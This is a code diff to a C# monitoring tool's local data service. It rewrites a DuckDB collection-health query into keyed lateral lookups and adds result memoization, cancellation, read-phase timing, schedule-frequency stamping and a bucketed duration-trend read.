-    SUM(CASE WHEN status = 'SESSION_MISSING' THEN 1 ELSE 0 END) AS session_missing_count,
-    -- #3819: the three columns that tell a collector which STOPPED producing apart from one that never
-    -- produced here. Darling's twin carries the same three at the same ordinals; both MCP surfaces read
-    -- this result set positionally. Lite's SQL Server collectors write PERMISSIONS but neither of the
-    -- other two skip words, so on this SKU the streak this detects is a permission that was granted and
-    -- has been revoked since -- a narrower population than Darling's, and the same regression.
-    --
-    -- current_status is what the collector is reporting NOW, for the finding's prose. Taken at
-    -- recency_rank = 1 rather than as a MAX over the skip rows: MAX is lexicographic, so on a streak whose
+    -- All four come from the SAME row (one struct out of one lookup): parts taken from different runs
+    -- would compose into a ratio describing no run that ever happened. Ranked on slowest_item_ms rather
+    -- than duration_ms because the question is which database is expensive, not which cycle was.
+    -- A collector that never fans out has no dearest item, and the lookup then reads the NEWEST run,
+    -- which is where the rank this replaces fell through: fanout_items and slowest_item are that run's
+    -- own (NULL for a collector that never fans out, which is most of them), slowest_item_ms is NULL, and
+    -- slowest_run_duration_ms is that run's duration. Twins Darling's read.
+    CASE WHEN h.dearest_item_ms IS NULL THEN newest.pick.fanout_item_count ELSE dearest.pick.fanout_item_count END AS fanout_items,
+    CASE WHEN h.dearest_item_ms IS NULL THEN newest.pick.slowest_item ELSE dearest.pick.slowest_item END AS slowest_item,
+    CASE WHEN h.dearest_item_ms IS NULL THEN newest.pick.slowest_item_ms ELSE dearest.pick.slowest_item_ms END AS slowest_item_ms,
+    CASE WHEN h.dearest_item_ms IS NULL THEN newest.pick.duration_ms ELSE dearest.pick.duration_ms END AS slowest_run_duration_ms,
+    h.abandoned_count,
+    h.last_denied_time,
+    h.rows_stored,
+    h.runs_with_rows,
+    h.extension_missing_count,
+    h.session_missing_count,
+    -- #3819: current_status is what the collector is reporting NOW, for the finding's prose. Taken from
+    -- the NEWEST run rather than as a MAX over the skip rows: MAX is lexicographic, so on a streak whose
     -- status changed it would name whichever word sorts highest instead of the one being reported.
-    MAX(CASE WHEN recency_rank = 1 THEN status END) AS current_status,
-    -- The instant the current skip streak began AFTER: the newest run that was NOT a named skip. The
-    -- vocabulary is interpolated from CollectorRuntimePrecondition, which is where each of those statuses
-    -- is declared, so this cannot ask about three of four after a fourth is split out. A NULL status
-    -- counts as non-skip: it is not one of the declared skip words, and reading it as one would let an
-    -- unwritten status manufacture a streak.
-    MAX(CASE WHEN status IS NULL
-              OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
-             THEN collection_time END) AS last_non_skip_time,
-    -- The newest run that stored anything. Off the same rows_collected > 0 test as runs_with_rows above,
-    -- so productive means one thing on this row. Compared against last_non_skip_time it says the
-    -- productivity sits BEFORE the streak rather than inside it, which is the ORDER that makes this a
-    -- regression rather than two unrelated facts.
-    MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+    -- status DESC only breaks an exact-timestamp tie, and breaks it identically on DuckDB and Postgres.
+    newest.pick.status AS current_status,
+    h.last_non_skip_time,
+    h.last_productive_time,
     -- #3885: how many runs, counting back from the NEWEST, were SUCCESS with zero rows and nothing else.
     -- The second regression class, and the one #3819 could not see: it keys on a skip STATUS, and a
     -- collector whose source went away while its query stayed VALID records the most reassuring word the
-    -- vocabulary has. Darling's twin carries this at the same ordinal; both MCP surfaces read this result
-    -- set positionally. The class is not Darling-specific -- Lite dedups on the same watermarks and its
-    -- collectors read the same sources -- so this SKU detects it identically rather than counting 0.
-    --
-    -- Exact, and free: recency_rank already exists in the subquery below (#3819 added it for
-    -- current_status), so this buys the streak's true width with no new window function and no new sort.
-    -- MIN of the rank of the newest run that BREAKS the streak, minus one, is the count of runs ahead of
-    -- it; NULL (nothing breaks it -- every run in the window is a zero-row success) falls back to COUNT(*),
-    -- which is that same count. The abandonment exclusion is success_count's own (#2926): a pre-#2803
-    -- abandoned cycle is stored as SUCCESS with zero rows plus the budget note, which is data LOSS rather
-    -- than a source that went quiet. APPENDED, read positionally.
-    COALESCE(
-        MIN(CASE WHEN NOT (status = 'SUCCESS'
-                           AND COALESCE(rows_collected, 0) = 0
-                           AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
-                 THEN recency_rank END) - 1,
-        COUNT(*)) AS trailing_zero_row_success_runs,
+    -- vocabulary has. Exact: the newest run that BREAKS the streak is found by the aggregate above, every
+    -- run ahead of it is by construction a zero-row success, and the lookup COUNTS the runs after that
+    -- instant (plus, at the instant itself, the ones whose status sorts ahead of the first breaker's).
+    -- NULL (no run breaks it -- every run in the window is a zero-row success) falls back to the window's
+    -- run count, which is that same count. A streak broken by an error, a denial, a skip or a productive
+    -- run therefore reads 0 rather than reaching past it, because what this measures is the collector's
+    -- CURRENT state and any of those is a different current state. APPENDED, read positionally.
+    CASE WHEN h.last_streak_break_time IS NULL THEN h.total_runs ELSE streak.runs_ahead_of_break END AS trailing_zero_row_success_runs,
     -- #4748: the note the collector's NEWEST run left, which is not last_note above. last_note is the newest
-    -- run that CARRIED a note (note_rank), so a clean run after a partial-failure cycle still shows the
+    -- run that CARRIED a note, so a clean run after a partial-failure cycle still shows the
     -- older cycle's note there; the band must not read that, because the loss it names is not the
-    -- collector's current state. recency_rank = 1 is the newest run of any status, and the SUCCESS gate
-    -- matches last_note's (only the SUCCESS write carries a note). APPENDED, read positionally; Darling's
-    -- twin carries it at the same ordinal.
-    MAX(CASE WHEN recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note
-FROM
+    -- collector's current state. The newest run of any status, and the SUCCESS gate matches last_note's
+    -- (only the SUCCESS write carries a note). APPENDED, read positionally; Darling's twin carries it at
+    -- the same ordinal.
+    CASE WHEN newest.pick.status = 'SUCCESS' THEN newest.pick.error_message END AS latest_run_note
+FROM health h
+-- #5371: the keyed lookups. Each reads ONE collector's rows at an instant the aggregate above already
+-- found, so the scan of v_collection_log carries an equality on collection_time (the hot table's
+-- (server_id, collection_time) index and the parquet row-group statistics both prune on it) instead of
+-- ranking every run of the window. Every lookup is a plain aggregate: ORDER BY ... LIMIT 1 here would be
+-- planned as a ROW_NUMBER window per lookup, which is the shape being removed. The window bound ($2) is
+-- repeated on each so an archive file older than the window is skipped.
+--
+-- The newest run: the rows at the window's newest instant, the greater status first. arg_max skips a
+-- NULL argument, so the columns travel as one struct: a NULL error_message on the winning row must stay
+-- NULL rather than hand back another row's note, and every column comes from the SAME row. The fan-out
+-- columns ride along because this row is also what a collector with no dearest item reports.
+LEFT JOIN LATERAL
 (
-    -- #1855: rank each class of message newest-first so the two exemplar columns above can take the
-    -- LATEST one instead of the lexicographically greatest. Ordering on whether the class's CASE came
-    -- back empty puts every row that carries such a message ahead of every row that does not, so rank 1
-    -- is the newest one that has text — and a later clean run no longer blanks a note the window still
-    -- holds. MAX() was never wrong about WHICH rows to consider, only about which of them wins, and
-    -- text does not sort like the number #1837's probe note carries: 12 item(s) sorts below 9 item(s).
-    -- collection_time settles it; error_message DESC only breaks an exact-timestamp tie, and breaks it
-    -- identically on DuckDB and Postgres, which binary-vs-locale collation would not.
-    SELECT
-        collector_name,
-        collection_time,
-        duration_ms,
-        status,
-        error_message,
-        -- #2926: the abandonment predicate above reads it. Projected here for the same reason
-        -- #2472's three columns are: this subquery ENUMERATES its columns, so an aggregate
-        -- outside naming one it does not carry fails at the STORE and nowhere earlier.
-        rows_collected,
-        -- #2472: projected here because this subquery enumerates its columns rather than SELECT *-ing
-        -- them, so an aggregate outside that names a column the inner query does not carry fails at the
-        -- store and nowhere earlier.
-        fanout_item_count,
-        slowest_item,
-        slowest_item_ms,
-        ROW_NUMBER() OVER
-        (
-            PARTITION BY collector_name
-            ORDER BY (CASE WHEN status = 'SUCCESS' THEN error_message END) IS NULL,
-                     collection_time DESC,
-                     error_message DESC
-        ) AS note_rank,
-        ROW_NUMBER() OVER
-        (
-            PARTITION BY collector_name
-            ORDER BY (CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) IS NULL,
-                     collection_time DESC,
-                     error_message DESC
-        ) AS error_rank,
-        -- #2472: the window's dearest single ITEM, and with it the run that carried it. Ranked on
-        -- slowest_item_ms rather than duration_ms because the question is which database is expensive,
-        -- not which cycle was.
-        ROW_NUMBER() OVER
-        (
-            PARTITION BY collector_name
-            ORDER BY slowest_item_ms IS NULL,
-                     slowest_item_ms DESC,
-                     collection_time DESC
-        ) AS slowest_rank,
-        -- #3819: newest run first, so current_status above can take the status the collector is reporting
-        -- NOW. status DESC only breaks an exact-timestamp tie, and breaks it identically on DuckDB and
-        -- Postgres -- the same reason the ranks above tie-break on error_message.
-        ROW_NUMBER() OVER
-        (
-            PARTITION BY collector_name
-            ORDER BY collection_time DESC,
-                     status DESC
-        ) AS recency_rank
-    FROM v_collection_log
-    WHERE server_id = $1
-    AND   collection_time >= $2
-) runs
-GROUP BY collector_name
-ORDER BY collector_name";
+    SELECT arg_max(struct_pack(status := n.status,
+                               error_message := n.error_message,
+                               fanout_item_count := n.fanout_item_count,
+                               slowest_item := n.slowest_item,
+                               slowest_item_ms := n.slowest_item_ms,
+                               duration_ms := n.duration_ms), n.status) AS pick
+    FROM v_collection_log n
+    WHERE n.server_id = $1
+    AND   n.collector_name = h.collector_name
+    AND   n.collection_time >= $2
+    AND   n.collection_time = h.last_run_time
+) newest ON TRUE
+-- The newest failing run that carried text. No such run: the aggregate is NULL, and so is last_error.
+LEFT JOIN LATERAL
+(
+    SELECT MAX(f.error_message) AS error_message
+    FROM v_collection_log f
+    WHERE f.server_id = $1
+    AND   f.collector_name = h.collector_name
+    AND   f.collection_time >= $2
+    AND   f.collection_time = h.last_failure_text_time
+    AND   f.status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')
+    AND   f.error_message IS NOT NULL
+) failed ON TRUE
+-- The newest SUCCESS run that carried a note.
+LEFT JOIN LATERAL
+(
+    SELECT MAX(t.error_message) AS error_message
+    FROM v_collection_log t
+    WHERE t.server_id = $1
+    AND   t.collector_name = h.collector_name
+    AND   t.collection_time >= $2
+    AND   t.collection_time = h.last_note_time
+    AND   t.status = 'SUCCESS'
+    AND   t.error_message IS NOT NULL
+) noted ON TRUE
+-- The run that carried the window's dearest item, the newest of any tied on it. A collector with no dearest
+-- item reads nothing here (the outer CASE takes the newest run's columns instead).
+LEFT JOIN LATERAL
+(
+    SELECT arg_max(struct_pack(fanout_item_count := d.fanout_item_count,
+                               slowest_item := d.slowest_item,
+                               slowest_item_ms := d.slowest_item_ms,
+                               duration_ms := d.duration_ms), d.collection_time) AS pick
+    FROM v_collection_log d
+    WHERE d.server_id = $1
+    AND   d.collector_name = h.collector_name
+    AND   d.collection_time >= $2
+    AND   h.dearest_item_ms IS NOT NULL
+    AND   d.slowest_item_ms = h.dearest_item_ms
+) dearest ON TRUE
+-- The runs ahead of the newest streak break, in the order the old rank used: collection_time, then the
+-- greater status first. Every run ahead of the first breaker is a non-breaker, so the count needs no
+-- re-test of the breaker predicate. A non-breaker that shares BOTH its instant and its status with the
+-- first breaker has no defined order against it (the rank this replaces ordered such a pair arbitrarily)
+-- and is counted as behind it. With no break the aggregate's instant is NULL and nothing is read.
+LEFT JOIN LATERAL
+(
+    SELECT COUNT(*) AS runs_ahead_of_break
+    FROM v_collection_log s
+    WHERE s.server_id = $1
+    AND   s.collector_name = h.collector_name
+    AND   s.collection_time >= $2
+    AND   h.last_streak_break_time IS NOT NULL
+    AND   (s.collection_time > h.last_streak_break_time
+           OR (s.collection_time = h.last_streak_break_time
+               AND s.status > h.last_streak_break_status))
+) streak ON TRUE
+ORDER BY h.collector_name";
+
+    /// <summary>How long a memoized Collection Health result is reused when the caller names no lifetime (#5371). The tab
+    /// names the auto-refresh interval it is on (30, 60 or 300 seconds). The window is a fixed seven days, so the toolbar's
+    /// range does not enter the key.</summary>
+    internal static readonly TimeSpan CollectionHealthMemoLifetime = TimeSpan.FromSeconds(30);
+
+    private readonly object _collectionHealthMemoGate = new();
+    /* StartedAtUtc is when the read that produced the rows BEGAN, not when it finished: a read that took 20 seconds must not
+       count as a 20-second-younger answer, or a timer tick one interval after it started would still find it fresh. */
+    private readonly Dictionary<int, (List<CollectorHealthRow> Rows, DateTime StartedAtUtc)> _collectionHealthMemo = new();
+    private long _collectionHealthMemoGeneration;
+
+    /// <summary>Replaces the Health statement for ONE service instance. A test's seam (#5371): the cancellation tests need a
+    /// statement that runs for seconds, which the real aggregate over a test-sized store never does. Production leaves it null.</summary>
+    internal string? CollectionHealthSqlOverride { get; set; }
+
+    /// <summary>The clock the memo ages by. A test's seam; production reads the wall clock.</summary>
+    internal Func<DateTime> CollectionHealthMemoClock { get; set; } = () => DateTime.UtcNow;
+
+    /// <summary>Where a slow Collection Health or Collection Log read's phase line goes (and a cancelled read's one line).
+    /// Null is the profiler's own log; a test's seam.</summary>
+    internal Action<string, double, string>? CollectionHealthPhaseSink { get; set; }
+
+    /// <summary>
+    /// Drops every memoized Collection Health result (#5371). The auto-refresh timer's tick calls it before it asks for a
+    /// read, so a tick at ANY refresh setting reads fresh data, and so does a manual refresh or a range or filter change.
+    /// What is left for the memo to absorb is a second request inside one refresh interval from a different trigger (a
+    /// tab switch, the coordinator's replay). A read that began before the call does not store its result afterwards: the
+    /// generation it started under is stale.
+    /// </summary>
+    internal void InvalidateCollectionHealthMemo()
+    {
+        lock (_collectionHealthMemoGate)
+        {
+            _collectionHealthMemo.Clear();
+            _collectionHealthMemoGeneration++;
+        }
+    }
 
     /// <summary>
     /// Gets collection health summary for all collectors on a server.
+    ///
+    /// <para><b>Cancellable (#5371).</b> The token reaches the read-lock wait, the connection open, the statement and the
+    /// drain. A token fired mid-statement reaches <c>duckdb_interrupt</c> through <c>DuckDBCommand.Cancel()</c>: the
+    /// statement stops, the connection and the read lock are released, and the call throws
+    /// <see cref="OperationCanceledException"/>. A superseded refresh pass uses this to stop its Health read instead of
+    /// finishing a result nobody will paint.</para>
+    ///
+    /// <para><b>Memo (#5371).</b> <paramref name="allowMemo"/> reuses a result for <paramref name="memoLifetime"/> (default
+    /// <see cref="CollectionHealthMemoLifetime"/>) counted from when the read that produced it STARTED, per server. It is
+    /// opt-in, so the MCP tool and every other caller still read the store each time. The tab passes its auto-refresh
+    /// interval, and the timer's tick, a manual refresh and a range or filter change call
+    /// <see cref="InvalidateCollectionHealthMemo"/> first, so a tick at any refresh setting reads fresh data; only a second
+    /// request inside the interval from a different trigger (a tab switch, a coordinator replay) is answered from the
+    /// memo. Callers get their own copies of the rows, because the tab stamps each row's clock, and a memo hit re-applies
+    /// the CURRENT scheduled frequencies to them (<see cref="ApplyScheduledFrequencies"/>), so a schedule edit shows at
+    /// once instead of after the memo expires.</para>
+    ///
+    /// <para><b>Phase timing (#5371).</b> A read whose total passes the slow-method threshold logs one line naming the
+    /// lock wait, open, execute (prepare and bind included) and row read times. A read a newer request cancelled logs one
+    /// "cancelled after N ms (superseded)" line instead, and no <c>SLOW METHOD</c> block.</para>
     /// </summary>
-    public async Task<List<CollectorHealthRow>> GetCollectionHealthAsync(int serverId)
+    public async Task<List<CollectorHealthRow>> GetCollectionHealthAsync(int serverId, bool allowMemo = false, TimeSpan? memoLifetime = null, CancellationToken cancellationToken = default)
     {
-        using var connection = await OpenConnectionAsync();
+        cancellationToken.ThrowIfCancellationRequested();
+
+        long generation;
+        List<CollectorHealthRow>? memoCopies = null;
+        var startedAtUtc = CollectionHealthMemoClock();
+        lock (_collectionHealthMemoGate)
+        {
+            generation = _collectionHealthMemoGeneration;
+            if (allowMemo
+                && _collectionHealthMemo.TryGetValue(serverId, out var memo)
+                && startedAtUtc - memo.StartedAtUtc < (memoLifetime ?? CollectionHealthMemoLifetime))
+            {
+                memoCopies = memo.Rows.ConvertAll(row => row.Copy());
+            }
+        }
+
+        if (memoCopies is not null)
+        {
+            /* The schedule is never memoized: it is a pure lookup, so a hit stamps the cadence in force now. */
+            ApplyScheduledFrequencies(memoCopies, serverId, CollectorFrequencyMinutes);
+            return memoCopies;
+        }
+
+        var items = await TimedReadAsync("GetCollectionHealthAsync", timer => ReadCollectionHealthAsync(serverId, timer, cancellationToken));
+
+        if (allowMemo)
+        {
+            lock (_collectionHealthMemoGate)
+            {
+                if (generation == _collectionHealthMemoGeneration)
+                {
+                    _collectionHealthMemo[serverId] = (items.ConvertAll(row => row.Copy()), startedAtUtc);
+                }
+            }
+        }
+
+        return items;
+    }
+
+    /// <summary>
+    /// Runs one timed store read (#5371): the read fills <c>timer</c>'s phases, and when it ends, whatever way, the timer
+    /// reports. A read that ended in <see cref="OperationCanceledException"/> reports as cancelled (one plain line), not as
+    /// a slow method.
+    /// </summary>
+    private async Task<T> TimedReadAsync<T>(string readName, Func<ReadPhaseTimer, Task<T>> read)
+    {
+        var timer = new ReadPhaseTimer();
+        var cancelled = false;
+        try
+        {
+            return await read(timer);
+        }
+        catch (OperationCanceledException)
+        {
+            cancelled = true;
+            throw;
+        }
+        finally
+        {
+            timer.Report(readName, CollectionHealthPhaseSink, cancelled);
+        }
+    }
+
+    private async Task<List<CollectorHealthRow>> ReadCollectionHealthAsync(int serverId, ReadPhaseTimer timer, CancellationToken cancellationToken)
+    {
+        using var connection = await OpenConnectionAsync(timer, cancellationToken);
         using var command = connection.CreateCommand();
-        command.CommandText = CollectionHealthSql;
+        command.CommandText = CollectionHealthSqlOverride ?? CollectionHealthSql;
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow.AddDays(-7) });
 
         var items = new List<CollectorHealthRow>();
-        using var reader = await command.ExecuteReaderAsync();
-        while (await reader.ReadAsync())
+        System.Data.Common.DbDataReader reader;
+        /* No separate prepare step: DuckDB.NET's Prepare() parses and binds nothing, so the bind and plan cost lands here. */
+        using (timer.Measure(ReadPhaseTimer.Execute))
+        {
+            reader = await command.ExecuteReaderAsync(cancellationToken);
+        }
+        using var readerScope = reader;
+        using var rowReadScope = timer.Measure(ReadPhaseTimer.RowRead);
+        while (await reader.ReadAsync(cancellationToken))
         {
             items.Add(new CollectorHealthRow
             {
@@ -404,9 +600,69 @@ arrives as a BigInteger that Convert.ToInt64 cannot take. */
             });
         }
 
+        ApplyScheduledFrequencies(items, serverId, CollectorFrequencyMinutes);
         return items;
     }
 
+    private Func<int, string, int?>? _collectorFrequencyMinutes;
+
+    /// <summary>
+    /// #4999: Lite's schedule store as the health read sees it: a server's EFFECTIVE interval for one collector
+    /// (<c>ScheduleManager.GetFrequencyForStorageServer</c>, the per-server override else the global schedule),
+    /// keyed by the storage server id this reader takes, or null for an unknown server or collector. Null here
+    /// means no schedule store is wired, and every row keeps the shipped cadence it was judged by before.
+    /// <para>An instance's own value wins (the MCP host sets one); an instance that has none reads
+    /// <see cref="DefaultCollectorFrequencyMinutes"/>, the app-wide one, each time it is asked. The Collection
+    /// Health tab builds its own service, and nothing handed that one a resolver, so the tab banded a collector
+    /// moved to every 720 minutes against its shipped five while the MCP tool, on the host's instance, used 720.</para>
+    /// </summary>
+    internal Func<int, string, int?>? CollectorFrequencyMinutes
+    {
+        get => _collectorFrequencyMinutes ?? DefaultCollectorFrequencyMinutes;
+        set => _collectorFrequencyMinutes = value;
+    }
+
+    /// <summary>
+    /// #4999: the schedule store's answer for EVERY <see cref="LocalDataService"/> in the process, set once at
+    /// startup (the main window wires it next to the schedule manager it builds). It is read where the answer is
+    /// used, not copied when an instance is built, so an instance that exists before it is set, and one a future
+    /// caller builds without knowing it exists, judge a collector by its schedule the same as the rest: no
+    /// caller has to remember to hand a resolver to the service it makes. Null, as in a test, leaves every row on
+    /// its shipped cadence. Process-wide, like <c>AnalysisService.SeparatelyMonitoredDatabasesProvider</c>, so a
+    /// test that sets it runs alone.
+    /// </summary>
+    internal static Func<int, string, int?>? DefaultCollectorFrequencyMinutes { get; set; }
+
+    /// <summary>
+    /// #4999: stamps each catalog collector's row with the interval it is scheduled at on
+    /// <paramref name="serverId"/>: the schedule store's answer through
+    /// <see cref="CollectorScheduleDefaults.ResolveFrequencyMinutes"/> (an answer that cannot be honoured falls
+    /// back to the shipped default, as the analysis lookback does), then
+    /// <see cref="CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes"/> as the scheduler does, so an
+    /// on-load collector reads as its daily recapture. A name the catalog does not know is left unstamped.
+    /// Pure, so a test applies a set of schedules without a database.
+    /// </summary>
+    internal static void ApplyScheduledFrequencies(
+        IEnumerable<CollectorHealthRow> rows, int serverId, Func<int, string, int?>? collectorFrequencyMinutes)
+    {
+        if (collectorFrequencyMinutes is null)
+        {
+            return;
+        }
+
+        foreach (var row in rows)
+        {
+            if (!CollectorScheduleDefaults.All.ContainsKey(row.CollectorName))
+            {
+                continue;
+            }
+
+            row.EffectiveFrequencyMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(
+                CollectorScheduleDefaults.ResolveFrequencyMinutes(
+                    row.CollectorName, collectorFrequencyMinutes(serverId, row.CollectorName), fleetOverride: null));
+        }
+    }
+
     /// <summary>
     /// Whether this server has EVER recorded a collector run, ignoring any window.
     /// <para>Lets an empty log read say WHICH kind of nothing it found. "No runs in the last N hours" is
@@ -430,6 +686,14 @@ FROM v_collection_log
         return await command.ExecuteScalarAsync() is not null and not DBNull;
     }
 
+    /// <summary>
+    /// The Collection Log grid's row cap (#4989): the default <c>maxRows</c> of <see cref="GetRecentCollectionLogAsync"/>,
+    /// so the grid reads the newest this many runs of the window. The grid's "Showing since" notice reads it too, as the
+    /// cap that says the grid dropped older runs (<c>ServerTab.RefreshCappedGridBannerAsync</c>), so the read's
+    /// <c>LIMIT</c> and the notice's cap are the one value.
+    /// </summary>
+    public const int CollectionLogGridCap = 500;
+
     /// <summary>
     /// Gets recent collection log entries for a server, most recent first, bounded to the tab's
     /// settable window. A preset ends "now" (<paramref name="hoursBack"/> from now); a custom range
@@ -457,10 +721,15 @@ FROM v_collection_log
     /// derived here rather than offered as a separate argument a caller could set the wrong way.</para>
     ///
     /// <para>The desktop Collection Log tab passes neither and is unaffected: no filter, newest first.</para>
+    ///
+    /// <para><paramref name="cancellationToken"/> (#5371) reaches the lock wait, the open, the statement and the drain, like <see cref="GetCollectionHealthAsync"/>: a superseded pass stops this read too.</para>
     /// </summary>
-    public async Task<List<CollectionLogRow>> GetRecentCollectionLogAsync(int serverId, int hoursBack = 4, DateTime? fromDate = null, DateTime? toDate = null, int maxRows = 500, DateTime? asOfUtc = null, string? collectorName = null, double? minDurationMs = null, string? status = null)
+    public Task<List<CollectionLogRow>> GetRecentCollectionLogAsync(int serverId, int hoursBack = 4, DateTime? fromDate = null, DateTime? toDate = null, int maxRows = CollectionLogGridCap, DateTime? asOfUtc = null, string? collectorName = null, double? minDurationMs = null, string? status = null, CancellationToken cancellationToken = default) =>
+        TimedReadAsync("GetRecentCollectionLogAsync", timer => ReadRecentCollectionLogAsync(timer, serverId, hoursBack, fromDate, toDate, maxRows, asOfUtc, collectorName, minDurationMs, status, cancellationToken));
+
+    private async Task<List<CollectionLogRow>> ReadRecentCollectionLogAsync(ReadPhaseTimer timer, int serverId, int hoursBack, DateTime? fromDate, DateTime? toDate, int maxRows, DateTime? asOfUtc, string? collectorName, double? minDurationMs, string? status, CancellationToken cancellationToken)
     {
-        using var connection = await OpenConnectionAsync();
+        using var connection = await OpenConnectionAsync(timer, cancellationToken);
         using var command = connection.CreateCommand();
 
         var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc);
@@ -502,8 +771,14 @@ FROM v_collection_log
         command.Parameters.Add(new DuckDBParameter { Value = string.IsNullOrWhiteSpace(status) ? DBNull.Value : status.Trim() });
 
         var items = new List<CollectionLogRow>();
-        using var reader = await command.ExecuteReaderAsync();
-        while (await reader.ReadAsync())
+        System.Data.Common.DbDataReader reader;
+        using (timer.Measure(ReadPhaseTimer.Execute))
+        {
+            reader = await command.ExecuteReaderAsync(cancellationToken);
+        }
+        using var readerScope = reader;
+        using var rowReadScope = timer.Measure(ReadPhaseTimer.RowRead);
+        while (await reader.ReadAsync(cancellationToken))
         {
             items.Add(new CollectionLogRow
             {
@@ -522,6 +797,67 @@ FROM v_collection_log
         return items;
     }
 
+    /// <summary>
+    /// The Duration Trends chart's own read (#4989): per collector and time bucket over the WHOLE asked range, the slowest
+    /// run, the average run and the run count, over the successful runs that carry a duration (the runs the chart has always
+    /// drawn). The chart used to be handed the Collection Log grid's page, the newest <see cref="CollectionLogGridCap"/>
+    /// runs, while its X axis is pinned to the asked range: at about twenty runs a minute that page holds the newest
+    /// twenty-five minutes, so "Last 24 hours" drew the newest 25 minutes and left 23 hours and 35 minutes of axis empty
+    /// though the store holds those runs. This read has no row cap and answers at the width the other desktop trend charts
+    /// use for the range (<see cref="AutoChartBucketMinutes"/>, one series' share of <see cref="TrendBudget.Chart"/>, as the
+    /// Performance Trends charts size their buckets), so the number of points is bounded by the range, not by the runs.
+    ///
+    /// <para>Each bucket's start is clamped to the window's start (<c>GREATEST</c>, as the bucketed duration-trend reads
+    /// do), so an unaligned window's first, partial bucket does not draw before it. The chart draws each bucket's MAXIMUM,
+    /// so a slow run still shows as it did when every run was a point; the average and the count ride along for its hover.
+    /// The window is the grid's own (<see cref="GetTimeRange"/>), so the chart and the grid beside it describe one span.</para>
+    /// </summary>
+    public async Task<List<CollectorDurationBucket>> GetCollectorDurationTrendAsync(int serverId, int hoursBack = 4, DateTime? fromDate = null, DateTime? toDate = null, DateTime? asOfUtc = null, CancellationToken cancellationToken = default)
+    {
+        /* #5371: the token reaches the lock wait, the open, the statement and the row read, like the Health and Log reads beside it. */
+        using var connection = await OpenConnectionAsync(timer: null, cancellationToken);
+        using var command = connection.CreateCommand();
+
+        var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc);
+
+        command.CommandText = $@"
+SELECT
+    collector_name,
+    GREATEST(time_bucket(to_minutes(CAST($4 AS INTEGER)), collection_time, {TrendBuckets.OriginSql}), $2) AS bucket_start,
+    MAX(duration_ms) AS max_duration_ms,
+    AVG(duration_ms) AS average_duration_ms,
+    COUNT(*) AS run_count
+FROM v_collection_log
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   collection_time <= $3
+AND   status = 'SUCCESS'
+AND   duration_ms IS NOT NULL
+GROUP BY 1, 2
+ORDER BY 1, 2";
+
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = startTime });
+        command.Parameters.Add(new DuckDBParameter { Value = endTime });
+        command.Parameters.Add(new DuckDBParameter { Value = AutoChartBucketMinutes(startTime, endTime) });
+
+        var items = new List<CollectorDurationBucket>();
+        using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new CollectorDurationBucket
+            {
+                CollectorName = reader.GetString(0),
+                BucketStart = reader.GetDateTime(1),
+                MaxDurationMs = Convert.ToDouble(reader.GetValue(2)),
+                AverageDurationMs = Convert.ToDouble(reader.GetValue(3)),
+                RunCount = Convert.ToInt64(reader.GetValue(4))
+            });
+        }
+
+        return items;
+    }
+
     /// <summary>
     /// Whether ANY of the given (enabled) servers has EVER recorded a collector run — the fleet-wide twin of
     /// <see cref="HasAnyCollectionLogAsync"/> (#4199), used the same way: to tell a genuinely quiet fleet-wide
@@ -621,9 +957,14 @@ WHERE server_id IN ({string.Join(",", serverIds)})
     }
 
     /// <summary>
-    /// Gets collection log entries for a specific collector on a server.
+    /// Gets collection log entries for a specific collector on a server, over [<paramref name="startUtc"/>,
+    /// <paramref name="endUtc"/>] (UTC, both ends inclusive, the bounds <see cref="GetQueryWindowFloorAsync"/> puts on its
+    /// own read), newest first. The run-history window (#4966) works its week out once and hands the same pair to this
+    /// read and to the probe that words its "Showing since" note, so the rows and the note cannot disagree about the
+    /// window. The read takes the window, not a count of hours back: an hours overload read its own clock, and a second
+    /// clock is how the two came apart.
     /// </summary>
-    public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync(int serverId, string collectorName, int hoursBack = 168)
+    public async Task<List<CollectionLogRow>> GetCollectionLogByCollectorAsync(int serverId, string collectorName, DateTime startUtc, DateTime endUtc)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
@@ -642,11 +983,13 @@ FROM v_collection_log
 WHERE server_id = $1
 AND   collector_name = $2
 AND   collection_time >= $3
+AND   collection_time <= $4
 ORDER BY collection_time DESC";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = collectorName });
-        command.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow.AddHours(-hoursBack) });
+        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
 
         var items = new List<CollectionLogRow>();
         using var reader = await command.ExecuteReaderAsync();
@@ -678,9 +1021,16 @@ FROM v_collection_log
 /// </summary>
 internal static class CollectionHealthTime
 {
+    /// <summary>
+    /// The zone a Collection Health row's instants are worded in: the display mode's zone for the row's own server
+    /// (<paramref name="rowClock"/>, else the active tab's). The one place that choice is made, so a note that names a time
+    /// beside these rows (the run-history window's "Showing since", #4966) words it in the zone the rows print theirs in.
+    /// </summary>
+    internal static TimeZoneInfo Zone(ServerClock? rowClock) =>
+        ServerTimeHelper.DisplayZoneFor(ServerTimeHelper.CurrentDisplayMode, rowClock ?? ServerTimeHelper.ActiveServerClock);
+
     internal static string Format(DateTime utc, ServerClock? rowClock) =>
-        ServerTimeHelper.FormatInstant(
-            utc, ServerTimeHelper.DisplayZoneFor(ServerTimeHelper.CurrentDisplayMode, rowClock ?? ServerTimeHelper.ActiveServerClock), "g");
